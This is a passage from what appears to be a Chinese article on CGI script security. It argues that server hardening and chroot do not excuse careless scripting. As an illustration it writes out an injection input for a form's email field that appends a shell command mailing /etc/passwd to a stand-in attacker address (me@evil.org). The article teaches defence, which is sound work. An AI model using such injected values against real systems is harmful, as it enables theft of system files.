的。从理论上说,通过安全防范和正确配置你的Web服务器,你可以将潜在的危
害降低到几乎为0,即使是书写了糟糕的脚本。
然而,你没有理由在编写CGI程序时可以掉以轻心。事实上,大多数的Web环
境并不是chrooted的,仅仅是因为它禁止了很多人需要在Web服务器中需要的
灵活性。即使服务器不是以root身份运行,用户不能将文件系统中的文件全部
删除,一些人可以仅仅通过如下的输入,将/etc/passwd文件寄给me@evil.org
作为可能的攻击途径:
nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd
我可以通过操纵这个漏洞来干很多事情,即使是在一个配置良好的环境中。
如果你在一个简单的CGI程序中容许一个漏洞从你的身边溜过,你怎么能肯定
你正?/td>
来源:安全焦点